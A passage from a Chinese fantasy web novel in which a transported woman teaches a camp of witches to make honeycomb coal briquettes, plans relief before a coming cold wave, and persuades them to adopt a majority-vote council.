察觉到众人的目光,唐慈回过神来,她先看向奥罗拉,赞同道:“的确,有奥罗拉在,营地的生存应该不会有说明问题。但是——” 她话锋一转,说出了自己的想法:“......我觉得,为了保险起见,我们应该寻找一种比木炭和普通煤炭更好用的燃料。请大家都来回忆一下,这附近有没有一种像石头一样硬、埋在地下,挖出来是乌黑发亮、质地比较致密的块状,燃烧时比普通煤炭烟更少,火力更旺更持久的那种?在我曾经的世界里,大家叫它‘无烟煤’......我想利用它做个东西给大家瞧瞧。” 瑞金娜成天跟这些东西打交道,她第一个响应道:“好像有,就在营地西边那座黑石山的背阴面,我上次采集硫磺矿石时见过。但我不知道它是无烟煤还是普通煤,当时也没细究......” 唐慈眼睛一亮,“没关系瑞金娜,我确认一下就好啦,你能带我去看看吗?” “不行!”瑞金娜和奥罗拉几乎异口同声地反对。 瑞金娜连连摆手:“太远了!山路难走,天又快黑了,而且那边靠近黑脊山脉支脉,可能有危险的野兽!怎么能让您去冒险?” 奥罗拉也点头,果断下令:“瑞金娜,你描述位置。贝克特,你带瑞金娜飞过去。要用最快速度,找到那种黑色石头,带几块不同样子的回来......注意安全!” “明白!”贝克特言简意赅地应道,话音未落,她的身体已经扭曲变换成雌鹰的形态,抓起瑞金娜的肩膀,快如闪电地向黑脊山脉疾飞而去。 在二人离开后,唐慈又把目光转向贝拉,这个曾帮她手搓厨具的小女巫:“贝拉,我需要你帮忙做个工具。” 贝拉立刻站直,精神抖擞地道:“唐慈老师,您只管描述!” “我需要一种模具,大概这么长,这么宽……”唐慈用手比划着,“圆柱形的,里面要挖出十二个或者更多整齐排列的圆孔,穿透整个圆柱体,就像蜂巢一样。”她努力描述着蜂窝煤模具的形状。 贝拉歪着头想了想,随后走到营地堆放木柴的地方,挑了一块大小合适的硬木拿在手中,神态温柔,轻声细语地说了些什么。 随后,柔和的绿光在她掌心泛起,木屑如同听话的精灵,纷纷扬扬地自行剥离、飘落,短短几秒,一个规整的、带有十二个标准圆孔的圆柱形木制模具就出现在她手中。她脸上带着小小的自豪,将模具递给唐慈。 “太棒了,贝拉!”唐慈由衷赞叹,她接过还带着清新木香的模具,入手沉甸甸的,孔洞光滑整齐,简直像是车床加工出来的,“有了这个,我们就能做出高效燃烧的蜂窝煤了。” 现在距离瑞金娜取回煤样还早,闲着也是闲着,唐慈决定顺便给女巫们科普一下蜂窝煤燃烧效率更高的原理。 她请贝拉做出来两根一模一样的、新削的小木棍。在女巫们好奇的目光里,她把一根直接放在篝火边缘燃烧,而另一根,则被她小心地放进一个瓦罐里,只留一小截在外面点燃,然后迅速盖上盖子,只留下一个非常小的缝隙。 很快,第一根木棍在空气中熊熊燃烧,而被盖在瓦罐里的那根,点燃后只烧了外面一小截,火焰就迅速变得微弱、发红,冒出大量浓烟,最终几乎熄灭,只剩下红热的炭头和呛人的烟雾。 “大家看,”唐慈指着瓦罐,“罐子里的火快灭了,不是木头快烧完了,而是能进去空气太少了,火的燃烧需要大量的空气的参与。” 接着,唐慈又举起蜂窝煤模具展示给大家看:“普通的煤块燃烧时,空气只能从表面进去,里面烧不透,不仅浪费,烟还大。但有了这些孔洞,空气就能从孔道里钻进去,让里面的煤也能烧起来,这样烧得更透、更旺、更久,烟也更少!” “空气?”娜拉敏锐地捕捉到这个反复出现的词,她立刻联想到上午讲过的阿那克西美尼,忍不住举手提问:“唐慈老师!您说的空气,是不是就像阿那克西美尼说的气?是气在帮助煤块燃烧吗?” “问得好!”唐慈眼睛一亮,这正是把哲学思考引向科学观察的绝佳机会。 “娜拉,这个联想很棒!阿那克西美尼说气是万物本原,这代表了他对世界构成的一种哲学思考。而我们现在说的空气,是真实存在于我们周围,可以被我们感知、利用的物质。科学,就是研究这些具体物质的性质和它们如何相互作用的学问。” 唐慈环视众人,目光炯炯:“哲 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奥罗拉甚至不用亲自上阵,其余女巫就主动过来帮腔,眼神里满满的都是对唐慈的保护欲。 唐慈无奈地举双手投降:“好好好,听你们的,我歇着。唉,简直比我妈管得还严......” 好在挖土的两个人很快带着泥土返回,几乎同时,天空传来翅膀拍打声,贝克特和瑞金娜也回来了。 “唐慈老师,您看看是不是这个?”落地后,瑞金娜立刻从随身带着的小背篓里倒出煤块,捡起一块询问唐慈道。 唐慈接过,仔细观察了断口光泽后,肯定地点头:“没错,这就是无烟煤!” 她吃力地捞起石锤,试图将煤块砸成粉,但是因为力量太弱,刚砸了一下就被艾格尼斯抢去了锤子:“唐慈老师,你要砸到什么程度,还是我来砸吧,我力气大!” 唐慈汗颜:“好吧,谢谢你艾格尼斯,辛苦你把这些煤块砸成粉末,越细越好......” 艾格尼斯抡起锤子砸下去,“砰”地一声,周围烟尘四起,威力果然比唐慈大了数倍。 砸不了煤块,唐慈只好去筛土。 女巫们不明所以,也请贝拉做了同样的工具一起帮忙,砸煤的砸煤,筛土的筛土。 有了女巫的帮忙,煤粉和细土都准备好了,唐慈先按照“七煤两土一水”的比例把它们和起来,之后把混合好的煤泥填入模具中压实,最后再小心地脱模——异世界第一个结构完整的蜂窝煤就这样诞生了。 唐慈看着自己和女巫们共同的劳动成果,一股成就感油然而生,捧着蜂窝煤沉浸式欣赏。 女巫们满脸都是小问号,说实话,跟着唐慈忙活这么一大通,她们并没有明白她的目的是什么。这个蜂窝煤看着的确精致,但是对她们似乎用处不大啊! 奥罗拉代表女巫们问出了这个问题:“唐慈,我早就想问了,你为什么要多此一举做这个东西?有我在完全用不上它啊!”其他女巫附和着点头。 19. 第19章 唐慈等的就是这个问题。 她放下蜂窝煤,拍了拍手上的灰,神情从喜悦转为严肃: “奥罗拉,你的力量固然强大,是营地最坚实的保障。但是,我们黑荆棘女巫互助会,为什么选择把营地建在铁律王朝的边境森林里?不就是因为这里曾是亚瑟祖孙驱逐教廷势力的地方,本国居民对女巫的敌意相对较小,我们才有喘息之机吗?” “但你们想过没有?为什么斯嘉丽——也就是我这个身体的原主——一个灰烬教廷最底层的修女,会在这个时间点,被派到这个即将遭遇千年难遇的雪灾的边境小城渡鸦隘来传教?甚至连她的脚程都算得刚刚好,恰好在寒潮爆发前抵达?” 奥罗拉紫眸中精光一闪,显然瞬间联想到了更多,她立刻问道:“你是说……教廷可能早有预谋?他们打算利用了这场即将到来的灾难渗透渡鸦隘?” 唐慈点点头,“我不知道铁律王朝过去的救灾效率如何,但如果这场雪灾破坏力极大,那铁律王朝的中枢应该是顾不上渡鸦隘这种边境小城的。所以,如果教廷真的因为图谋不轨,才特意派一个修女提前来刺探情报,那等到寒潮降临时,他们再派人过来收买人心就无比顺利。” 奥罗拉神情凝重起来:“确实,你说的很有道理,是我疏忽了,铁律王朝的中枢的确很容易抛弃渡鸦隘。” “会长,你们再说什么啊?能不能慢点......”女巫们听出了唐慈的想法跟教廷有关,但两人思路太快她们没跟上,于是很多女巫嚷嚷起来。 因为女巫们问的是奥罗拉,所以唐慈只能暂时闭麦,而奥罗拉则转而向没跟上两人思路的女巫们,解释道: “姐妹们,唐慈刚来这个世界可能不知道,但我们都清楚渡鸦隘的地理位置是多么的特殊,这也是当年我们选择在这里扎营的原因。唐慈,接下来的你也仔细听一下,我顺便给你介绍一下这里的地理情况......” 唐慈本就在认真听,此刻闻言立刻点了点头。奥罗拉见状满意道:“渡鸦隘南北两边夹在黑脊山脉和渡鸦山脉之间,只有一条隘口向东通往铁律王朝北地公爵的大片领地,西侧紧邻霜颅氏族的寒冷高原。如此险恶的环境,平时除了北地公爵每年两次的征税队伍会翻山而来,余下只有一些上不得台面的走私商人才会偶尔路过这里。” “而当雪灾降临,这些曾经对我们来说的优势都会立刻转化为铁律王朝救灾的劣势。在我印象中,被重重山脉保护的铁律王朝,从未经历过伊薇特预测到的严寒!所以,就算铁律王朝的中枢或者北地公爵反应速度够快,但是,哼,我可太清楚那些贵族老爷的德性了......层层上报、互相推诿、等救援翻山越岭送到渡鸦隘,恐怕冻死的人坟头草都发芽了!” 奥罗拉越解释越钦佩唐慈,虽然这个救世主对权力斗争十分迟钝,但是对于这种生死攸关的大事却有着常人没有的敏锐和洞察力。 她继续给女巫们分析道:“如果渡鸦隘的领主是个无能的蠢货或者只顾自己,那么,当饥寒交迫的平民陷入绝望时,灰烬教廷的人,只需要带着一点点食物、几捆木柴、几瓶所谓的圣水出现在他们面前,宣扬着‘灰烬之主是唯一的救赎’,就能轻而易举地收买人心!” “到时候,渡鸦隘就会成为教廷重新渗透进铁律王朝的桥头堡。而我们,将再无宁日!教廷的势力会像藤蔓一样重新覆盖这里,猎巫的阴影会再次笼罩在我们头顶!到那时,就算我的火焰再强,又能庇护姐妹们多久?还能对抗整个被教廷煽动起来的渡鸦隘吗?” 说到这,再结合唐慈之前说过很多次的“敌我关系”问题,奥罗拉已经想清楚了唐慈制作蜂窝煤的目的,看着唐慈跃跃欲试着急发言的样子,她了然一笑,将收尾部分留给了唐慈:“唐慈,你是不是这么想的?” 唐慈接过话头,将手臂一挥,大声说道: “没错!所以我们不能被动挨打,更不能只想着自保,我们要主动出击!趁着寒潮,利用知识和魔力,去帮助渡鸦隘那些同样在严寒中挣扎的平民!让他们在最绝望的时候,收到真正的温暖和帮助,而不是教廷那些裹着糖衣的毒药!” “我们必须和寒潮抢时间,在灾难降临前大量制造蜂窝煤,再加上菲比的抗寒抗病的魔药,以及救命的粮食。有这三种法宝在手,我们就有可能彻底赢得渡鸦隘的民心,让这里成为黑荆棘互助会真正的根基,而不仅仅是一个藏身之地!我们要让渡鸦隘的百姓记住,在危难时刻伸出援手的,不是灰烬之主,而是被世人恐惧和排斥的女巫!” 奥罗拉和唐慈一个分析利弊一个展望未来,双管齐下哄得女巫们斗志昂扬——拜托,这可是要狠狠地打教廷的脸诶,她们当然再乐意不过。 不过要说此刻最高兴的,应该就是玛格丽特了。 虽然不知道在她陪伴伊薇特这段时间发生了什么,但是她却惊喜地发现,奥罗拉和唐慈之间那种剑拔弩张的气氛消失了,取而代之的是一种惺惺相惜的默契。 这两人一个洞察现实冷酷精干,一个点燃理想指明方向,刚才一唱一和堪称配合无间。不管实际操作中是否会有新的矛盾产生,但单看这份默契本身,就弥足珍贵。 玛格丽特站在女巫中间,璀璨的眸光在奥罗拉和唐慈之间流转,她的嘴角忍不住微微上扬,心中一直以来对于互助会内部分裂的担忧,终于烟消云散了。 见众人达成了趁着寒潮和教廷抢民心的共识,奥罗拉开始有条不紊地发布任务: “瑞金娜、艾格尼斯,无烟煤矿点由你们两个人负责开采,空中运输交给贝克特......” “菲比,用最快的速度研制出抗寒抗病的魔药,我知道你是毒不死的体质,但也注意安全......” 唐慈在一旁看着,她发现奥罗拉每点到一位女巫的名字,对方都会挺直脊背,下意识服从会长的指令。 唐慈皱了皱眉。 她其实理解女巫们对奥罗拉的绝对服从,毕竟颠沛流离的逃亡岁月中,大概就是这种服 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唐慈朝奥罗拉投去饱含歉意的一眼,随后朗声道:“各位姐妹,寒潮迫在眉睫,救灾工作千头万绪。但从我过往所见所闻来看,这绝不是一个人,甚至几个人能完全掌控的局面。所以,我们需要一种更高效、更能调动所有人智慧的决策方式。” “因此,我提议,趁现在一切都没开始,先在互助会建立起‘集体民主会议’制度。意思就是,以后所有重大决策,尤其是涉及营地整体行动和渡鸦隘救灾策略的,不再由会长一人决断,而是由大家共同讨论,充分表达意见,最后通过举手表决、少数服从多数来决定如何施行。” 女巫们虽然不懂什么叫“民主”,但是“不再由会长一人决断”还是能听懂的,这简直跟她们自加入互助会以来的习惯背道而驰。于是她们不约而同地把脑袋扭向奥罗拉的方向,想先看看这位向来独揽大权的会长作何反应。 至于奥罗拉,唉,她又能怎么样?唐慈这个人......真是矛盾得让她啼笑皆非。 在午后她和唐慈的私人谈话中,唐慈还斩钉截铁地表示对“会长”这个位置毫无兴趣,只想当个传递知识的“老师”。可转眼间,她就提出了一个从根本上削弱自己决策权、并将其分散给所有人的制度。 看似在拆她的台,但是奥罗拉又没办法生气,因为她知道唐慈的本意并非如此。 虽然相处时间很短,但奥罗拉已经发现,这位“救世主”俨然对“集体智慧”、“民主”、“人民”、“平等”这些概念有着近乎偏执的信仰,她提出这个建议,并没有考虑人情世故,而是单纯觉得这样“对大家好”。 只是,唐慈终究太天真了......奥罗拉内心无声地哂笑了一下,女巫们早就习惯了对她言听计从,就算真按照唐慈的提议开了会,估计也不会有人提出建设性意见,最后大家不还是会像以前一样服从自己?所谓的“举手表决”,不过是走个形式罢了。 但是......奥罗拉转念一想。既然唐慈觉得这样更有利于救灾,那她配合一下也无妨,权当是安抚这位“救世主”,顺便也能看看她那套理论到底能玩出什么花样。 20. 第 20 章 于是,奥罗拉开口了,她既没有直接反对,也没有立刻赞同,而是以退为进道: “很有价值的提议,我觉得可以尝试一下,不妨就把‘是否建立集体民主会议制度’作为第一次会议的第一个议题吧!如果大家举手表决通过了,那以后我们就按这个制度来;如果没通过,那就还像以前一样由我安排。唐慈,你觉得如何?” 见奥罗拉反手把决定权丢给女巫们,唐慈心中暗赞,欣然同意。 虽然这样一来,她的提议能否推行要靠她提议的制度来裁决,但这正契合了她的本意。只要能唤醒女巫们被恐惧、流亡和长久依赖所压抑的、属于每个个体的判断力与责任感,她又何必在乎那些形式呢? 会长和救世主同时撂挑子,这是女巫们从未设想过的情况,她们茫然地看向互助会曾经的二把手玛格丽特,但是玛格丽特只是静静地站着,眼眸带着温和的笑意,并没有任何开口的意思。 女巫们没招了,她们面面相觑,无声的困惑在眼中传递。 开会? 讨论? 表决? 听起来就很麻烦......奥罗拉会长不是一直安排得井井有条吗?她们只需要听命令,努力去做就好了啊。唐慈提出这种改变的意义是什么? 然而,当她们的目光触及唐慈那张充满期待、甚至带着点紧张的脸庞时,心里那种胆怯忽然就被另一种强大的力量压倒了。 救世主这么做一定有她的理由,也许可以尝试一下......女巫们如此想。 贝拉、娜拉等几个得到过唐慈帮助的女巫率先举起了手,其他人互相看了看,也都带着不同程度的迟疑把手举了起来。 奥罗拉的目光扫过全场,嘴角噙着一丝难以捉摸的笑意,灵动的眼睛似乎在说“既然姐妹们选择了这条新路,那我便陪着走一遭”。 她摆摆手,示意女巫们把手放下,随后扬声道: “好,提议通过!那么,从此刻起,黑荆棘女巫互助会正式建立集体民主会议制度。唐慈,既然是你提议的,那这第一次会议的主持人,就由你来担任吧。” “没问题!”唐慈其实没想到会这么顺利,虽然过程有点儿戏,但是总归是迈出了第一步。 她坚信在之后的具体实践中,女巫们一定会得到很好的锻炼和成长的。 带着满腔喜悦,唐慈清了清嗓子,努力让自己显得庄重些。 “各位姐妹,感谢大家的信任!那么,我们进入会议第二项,也是当前最迫切的议题——寒潮前的救灾物资筹备工作具体如何安排?请大家畅所欲言,把你们的想法、顾虑、建议,无论大小,都说出来。这样我们才能集思广益,共同制定最有效的方案!” 话音落下,营地中一片沉默,女巫们低着头,谁都不想第一个站出来。 就在唐慈感觉有些焦躁时,一个细若蚊蚋的声音,忽然怯生生地从人群中央钻了出来。 “我......我可以......” 是谁?所有的目光聚焦到说话人的脸上,众人惊讶地发现,居然是贝拉。 而贝拉似乎被众人火辣辣的注视吓倒,脖子缩了一下,但她没有退缩,而是用更小的声音继续道: “唐慈老师……我,我能催生粮食。让大家……还有渡鸦隘的难民们……都能吃饱。” 贝拉的发言虽然缺乏计划性,但是从她敢于迈出第一步来看,这就是值得鼓励和表扬的。 唐慈展颜一笑,正要开口继续引导她往下详谈,一旁的奥罗拉冷不丁地开口了: “贝拉你的想法倒是很好,但是你有没有思考过,渡鸦隘一旦受灾,需要救助的难民大概会有多少人?能让所有人吃饱的粮食,那得是多少?你的小苗圃,平时只够种点蔬菜和少量粮食,面积够大吗?而且,”她的目光带上了一丝不易察觉的关切,“你的魔力刚刚恢复,支撑得起如此大规模的消耗吗?这可不是种几棵药草那么简单。” 贝拉哪里有想到这么多,她只是不忍心看到对她帮助极大的唐慈受到冷遇,才头脑一热站了出来。现在一听奥罗拉条分缕析的追问,她只觉得无地自容,尴尬得恨不得钻进地缝里。 唐慈见贝拉面红耳赤地说不出话,她走上前拍了拍贝拉的肩膀,温声道:“贝拉的发言值得嘉许,奥罗拉的建议更是关键,这正是我们开会集思广益的意义所在,接下来我们只需要挨个解决这些问题就好啦......来来来,大家先一起想想有没有适合大规模种粮的地方,好让贝拉的魔力发挥出最大的作用!” 而另一边,奥罗拉其实刚说完就后悔了。她并非故意针对贝拉,只是长久以来作为唯一决策者养成的思维习惯,让她下意识就去审视计划的可行性,去堵住可能的漏洞,没想到狠狠打击到了贝拉。 于是,在唐慈说完后,她随即发言道:“贝拉,我并非质疑你的能力,也不是否定你的想法。我只是还不太习惯这种会议模式,接下来会更加注意的,抱歉了。” 在得到贝拉受宠若惊的谅解后,奥罗拉继续道:“既然接下来要讨论种地的场所,我不得不提前强调一个大家可能忽略、却关乎生死存亡的问题。” “虽然我们在这里平安住了很久,但姐妹们不要忘了,这片森林,名义上终究是渡鸦隘领主,汉克子爵的私人领地......” “什么?你们一直躲在有主人的森林里?这也太......”唐慈不禁咋舌,她一时竟找不到合适的词来形容这种在刀尖上跳舞的行为。 不过这情报也让她更加明确了自己的短期目标,那就是必须带领女巫们获得一个稳定的、被女巫完全掌控的根据地......越早越好! “没错。”奥罗拉给唐慈解释道:“你那个世界什么样子我不清楚,但在这个世界,山川湖泊都是有主的,这也是我们处境如此艰难的原因。” “那你们一直没被汉克子爵发现吗?运气真好!”唐慈自己问出来都觉得匪夷所思。 “运气好只能算是最不重要的一点。”奥罗拉条理清晰地解 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贝克特无视了那些夸赞的声音,她先指了下地图中央的一颗大树图案,说道:“这是我们的营地。” 之后她又把手指挪向大树西边一座山的背阴面,“这里是无烟煤矿藏所在。” 最后,她的手尖右滑一些,停在旁边那座山的向阳坡谷地:“这儿就是我说的地方。优点是地势平坦,土壤肥沃,水源充足,草木茂盛,聚集了不少食草动物;缺点是过于开阔,隐蔽性差。但鉴于我们只是寻找一个种地而非扎营的地方,因此,我觉得这里非常合适。更重要的是,这里和无烟煤矿藏距离很近,两边执行任务的姐妹,完全可以相互守望,及时支援。” 贝拉的眼睛亮了起来:“我觉得可以诶!贝克特,麻烦你明天一早把我带去吧,我得尽快测试一下自己的极限,看看最大能种多大面积的小麦,以及催熟一茬小麦最快需要多久。” 贝克特颔首,贝拉的问题似乎已经被完满解决,而唐慈这个时候脑中忽然灵光一闪,她向贝拉问道:“贝拉,中午我给你们做菜时,用到的那个瓤是淡黄色的球形植物,是你种的吗?” 被问到的一瞬间贝拉有点懵,但是随后她回想道:“啊!您说那个炸着吃特别香的土疙瘩吗?它不是我种的,是菲比之前采回来的植物样本,她研究了好久,说好像没什么药用价值,就丢给我了。怎么突然提到了它?” 唐慈笑道:“在我的世界,有一种和它几乎一模一样的东西,叫‘土豆’!它作为很多地区的主食,不仅耐寒耐储存,而且亩产量比小麦高得多得多!所以我想,如果你没种过它的话,不妨试一试,看看在同等魔力消耗下,是不是种土豆效率更高?” 随后唐慈讲了下土豆切块催芽、埋种的基本方法,她相信按照贝拉的能力,就算土豆没有生芽,她也有办法给它“哄”出来。 而贝拉自然同意,神色间充满了尝试新事物的好奇和跃跃欲试:“好啊好啊,我记得菜圃那边的篮子里还有几个......‘土豆’,明天我就想办法给它们都种上!”